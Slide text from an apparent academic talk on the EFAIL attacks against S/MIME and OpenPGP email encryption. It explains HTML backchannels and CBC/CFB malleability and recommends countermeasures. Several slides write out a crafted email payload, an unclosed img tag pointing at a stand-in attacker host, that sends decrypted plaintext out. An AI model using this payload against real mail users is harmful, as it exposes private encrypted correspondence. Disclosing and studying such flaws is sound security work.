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• Security Researcher at RUB:

• Web Services, Single Sign-On, (Applied) Crypto, SSL, crypto currencies

• Provable security, attacks and defenses

• Further topics: embedded security, malware, crypto…

• Co-author of several nice attacks:
• XML Encryption, XML Signature, TLS (e.g., DROWN), printers

• Co-founder of Hackmanit:

• Penetration tests, security analyses, workshops…
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Insecure Transport
• TLS might be used – we don’t know!

Breach of Email provider
• Single point of failure
• Aren’t they reading/analyzing my Emails anyway?

Compromise of Email account
• Phishing
• Bad passwords

Nation state attackers
• Massive collection of Emails
• Snowden’s global surveillance disclosure
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Motivation for using S/MIME and PGP



Two competing standards

OpenPGP (RFC 4880)

• First „encryption for the masses“

• Recommended by Amnesty International,  EFF,  or Reporters without 
Borders

• Web-of-Trust (no authorities)

S/MIME (RFC 5751)

• Favored by organizations

• Multi-root trust-hierarchies
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Mostly usability
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Both standards use old crypto
VULNERABLE TO PADDING ORACLE ATTACKS

Ciphertext C = Enc(M)

C1

valid/invalid

M = Dec(C)

C2

valid/invalid

…
(repeated several times)



• CBC / CFB modes of operation used, but their usage is not 
exploitable 
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Old crypto has no negative impact

Assumption: 
No oracle is given
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• Email clients can be forced to issue requests to arbitrary URLs

• Example: <img src=“http://efail.de/”>

• Backchannel: any functionality that forces the email client to 
interact with the network
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Observation
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Examples for Possible Backchannels
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Attacking encrypted Email
DIRECT EXFILTRATION

Encrypting

Alice writes a Mail to Bob

From: Alice

To:   Bob

Dear Bob,

the meeting tomorrow will be

at 9 o‘clock.

-----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH

ZObL2LopVexVVZ1uvk3wieArHUg…

-----END PGP MESSAGE-----

Alice’s mail program 
encrypts the email
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Original E-Mail
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Attacking encrypted Email
DIRECT EXFILTRATION

Eve’s attack E-Mail

Content-Type: text/html

<img src="http://eve.atck/

Content-Type: text/html

">

From: Eve

To:   Bob

From: Alice

To:   Bob

Eve modifies the email and 
sends it to Bob or Alice
Eve captures the encrypted 
mail between Alice and 
Bob

-----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH

ZObL2LopVexVVZ1uvk3wieArHUg…

-----END PGP MESSAGE-----



Bob’s mail program 
decrypts the email
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Attacking encrypted Email
DIRECT EXFILTRATION

Decrypting

Eve’s attack E-Mail

Content-Type: text/html

<img src="http://eve.atck/

Content-Type: text/html

">

From: Eve

To:   Bob

Bob’s mail program puts 
the clear text back into the 
body

-----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH

ZObL2LopVexVVZ1uvk3wieArHUg…

-----END PGP MESSAGE-----

Dear Bob,

the meeting tomorrow will be

at 9 o‘clock. 



Bob’s mail program merges 
the body parts into a single 
one

Bob’s mail program loads 
an image from the 
attackers url with the 
plaintext
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Attacking encrypted Email
DIRECT EXFILTRATION

Eve’s attack E-Mail

Content-Type: text/html

<img src="http://eve.atck/

Content-Type: text/html

">

Dear Bob,

the meeting tomorrow will be

at 9 o‘clock. 

Content-Type: text/html

<img

src="http://eve.atck/Dear

Bob,

the meeting tomorrow will be

at 9 o‘clock.“>

From: Eve

To:   Bob

GET /Dear%20Bob%2C%0D%0Athe 

%20meeting%20tomorrow%20will

%20be%20at%209%20o%E2%80%98c

lock.

Eve



• This attack is possible since 2003 in Thunderbird

• Somewhat fixable in implementation

• But works directly in …

• Apple Mail / Mail App

• Thunderbird

• Postbox

• …

• The standards do not give any definition for that!
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Attacking encrypted Email
DIRECT EXFILTRATION
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• Cipher Block Chaining mode of operation

• Not authenticated 

• Vulnerable to many attacks (TLS, XML Encryption, SSH)

• Basic problem: malleability

S/MIME uses CBC

Source: wikipedia
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Malleability of CBC

decryption

Content-type: te

C1

P0

decryption

xt/html\nDear Bob

C2

P1

C0
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Malleability of CBC

decryption

Zontent-type: te

C1

P0'

decryption

xt/html\nDear Bob

C2

P1

C0'
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Malleability of CBC

C0 ⊕ P0

decryption

0000000000000000

C1

P0'

decryption

xt/html\nDear Bob

C2

P1

CBC Gadget
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Malleability of CBC

C0 ⊕ P0⊕ Pc

decryption

<img src=”ev.il/

C1

P0'

decryption

xt/html\nDear Bob

C2

P1
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Malleability of CBC

decryption

Content-type: te

C1'

P0'

decryption

Zt/html\nDear Bob

C2

P1'

C0
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Malleability of CBC

decryption

????????????????

C1'

P0'

decryption

Zt/html\nDear Bob

C2

P1'

C0
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Attacking S/MIME
PRACTICAL ATTACK AGAINST S/MIME

???????????????? <img           "

Content-type: te xt/html\nDear Sir or Madam, the se ecret meeting wi

???????????????? " src="efail.de/

Content-type: te xt/html\nDear Sir or Madam, the se ecret meeting wi

???????????????? ">

Original

Crafted



• OpenPGP uses a variation of CFB-Mode

• PGP-Standard has integrity protection

• Compression is enabled by default

Ci

Pi (known)

Ci+1

Pi-1

encryption encryption

XCi

encryption

Pc (chosen) random plaintext
? ? ? ? ? ? ? ?

encryption
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Attacking OpenPGP
DIFFERENCES TO S/MIME
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Conclusions

• New attacks exploiting functionalities between crypto / non-crypto 
standards

• Countermeasures hard to apply:
• S/MIME is broken

• OpenPGP needs revisions

• Recommendations:
• Short term: disable HTML

• Mid term: patch the clients

• Long term: new standards

• Responsible disclosure very complex 


